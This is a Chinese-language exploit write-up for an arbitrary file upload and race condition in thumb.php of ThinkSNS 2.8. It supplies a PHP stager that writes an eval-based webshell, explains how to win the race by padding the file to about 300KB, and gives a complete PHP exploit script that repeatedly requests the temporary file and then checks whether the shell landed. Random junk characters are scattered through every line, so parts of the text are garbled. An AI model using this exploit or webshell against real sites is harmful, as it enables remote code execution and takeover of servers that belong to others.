漏洞版本/ G; K6 u! y, n2 d) x( h' f" r
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
$ Q$ q3 X% y3 y2 _" j& Z漏洞文件
1 t7 a0 h6 C7 u( a. h0 N存在漏洞的文件为:thumb.php
" h/ N6 i& r: i! T- ^作者:韦鲲鹏
) r# n& { l b, N+ i1、 准备如下PHP文件并上传到服务器(自己的)。
' F8 z* A( ~$ C" i8 t# N文件内容如下:1 W/ z3 r& K0 }$ n: W
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
+ s4 H! {, d q2、 计算出临时的文件名: t' k8 V: v( p
这里我们可以看文件的99行(刚刚是不是没注意呀!)。) d* R' c! g U
; a$ f# ^: a5 m6 s k4 P3、 上传临时文件。 x Q0 @/ s* }/ s9 @
4、 访问临时文件。1 ~$ S0 S/ J" ? e6 e, G
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
2 i/ B+ \7 k$ B2 @6 U7 Y/ aExploit文件内容如下:(这个我就不详细解释了)* w$ _! H6 Y: q/ D6 R; e) O
<?php
( S& c- d# p) }8 i6 C8 g5 Aerror_reporting(0);0 s" j# [6 U C
set_time_limit(0);
" \, ^) a2 i4 x7 Dini_set(“default_socket_timeout”, 5);
1 k1 J( s, o9 e, W; rfunction http_send($host, $port, $headers) {" P1 M( g8 q: K3 z5 S
$fp = fsockopen($host, $port);
+ U5 I1 y' _& r. Kif (!$fp) die(‘Connection -> fail’);5 d0 @- u/ F, p# x6 \3 A! x0 ]
fputs($fp, $headers);$ i% ]% h6 A' m& n2 |. @
return $fp;( G, l& Y9 y% s, Z9 ?
}
" T5 s% T2 w8 ufunction http_recv($fp) {
9 |5 f8 G+ b! b4 K6 e& j- }$ret=”";
5 e" m' [% G( S+ ^( l swhile (!feof($fp))5 ?- U$ p2 _* p. _7 Q
$ret.= fgets($fp, 1024);4 g. `+ x* x8 C' K; J! U
fclose($fp);" R+ _. |; Y3 X {
return $ret;5 {) B* U! J7 D1 P
}
, f( c( s! N7 } b& h6 a+ D2 [- ^print “\n# ThinkSns Arbitrary File Upload #\n”;
' v9 B' z _5 G. E* L. Sprint “# Discovered by 韦鲲鹏 #\n\n”;
6 u1 d" l; y Fif ($argc < 4) {3 x& `6 v7 x3 x0 @: U- K q/ n
print “Usage: php <host> <path> <romote_url>\n”;! ?5 ^ D6 ~6 n* h+ t5 f7 j0 j# f
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
1 F9 S8 _' |! S5 t4 e/ l* Pdie();5 ~0 o) b y* w
}
6 _3 \; l8 O0 h1 F3 u$host = $argv[1];, o) l; B& R& ?5 a- L) R
$path = $argv[2];& R R4 ^5 d, x
$url = $argv[3];, d! O0 D" {! t
$i=0;' F5 ?9 o: W: X( A/ o$ ? K1 `
//上传数据包9 i5 @+ s8 F6 r3 k; f/ V
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
0 G1 t1 X6 G' S! |# V9 Z) _$headers_up .= “Host: “.$host.”\r\n”;9 p) p! M! p5 v
$headers_up .= “Connection: close\r\n\r\n”;! ~+ z9 M4 C- [7 B" c* h& N& H9 w
echo $headers_up;
9 b) O2 r+ P; P: a0 H7 G//临时文件访问数据包
. d& w& X8 n4 B$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
& N: T8 Z9 @3 L, a' R5 G4 E$headers .= “Host: “.$host.”\r\n”;/ ?; w1 O8 f9 S
$headers .= “Connection: close\r\n\r\n”;# F0 c) r4 t, q/ m
echo $headers;
7 u, h% q$ a& p* |* {! hwhile(++$i<10) {4 A+ y0 p3 @6 b2 f- E1 z
fclose(http_send($host, 80, $headers));* r9 e* d3 O6 m1 i, J
}
0 l+ T6 Z. L1 v- D- xfclose(http_send($host, 80, $headers_up));
7 w) m, w' Y7 x5 I6 M F, Nwhile(++$i<50) {: ?% u# `$ s3 ^7 j, e
fclose(http_send($host, 80, $headers));
" B2 M" P! k: @$ Y0 p2 \. L {. @" Q}
9 [$ I* {' f, B( {$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;6 c" S. b( w7 K# G" L% R. ~
$headers .= “Host: “.$host.”\r\n”;
" X+ Y/ J! s2 A! a1 m9 ^. [$headers .= “Connection: close\r\n\r\n”;
A# ]5 J, s) N) z9 Q; Z$res=http_recv(http_send($host, 80, $headers));( R5 |- G$ D6 g A P( H8 a& N
if(preg_match(‘/200 OK/’,$res)) {0 s t) _9 V3 J* z) b
print “Success!\n\n”;- w |" m$ n' P: c# S& }$ K5 G
} else {% P% c: c& V9 ?1 o! G
print “Fail!\n\n”;% _" \$ O- ^" N
}; X3 B3 j+ ~5 I# i+ S8 i
?>! }' Q5 T: {- I9 B! j! f: L
|